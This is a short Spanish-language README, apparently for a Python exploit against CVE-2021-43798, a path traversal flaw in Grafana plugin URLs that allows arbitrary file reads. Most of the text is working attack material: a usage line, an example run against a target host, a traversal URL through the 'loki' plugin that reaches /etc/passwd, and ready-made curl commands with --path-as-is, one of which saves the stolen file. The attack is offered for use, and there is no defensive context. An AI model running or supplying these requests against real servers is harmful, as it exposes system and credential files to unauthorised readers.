
Exploit en Python para CVE-2021-43798, una vulnerabilidad de path traversal en Grafana que permite la lectura arbitraria de archivos mediante recorrido de directorios en URLs de plugins.
uso: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: error: los siguientes argumentos son requeridos: -H/--host
ejemplo: python3 grafana-exploit.py --host <host_objetivo>
si se lee exitosamente un archivo arbitrario muestra la URL de la solicitud y el comando curl
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
así que si quieres descargar un archivo, ejecuta como el anterior
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd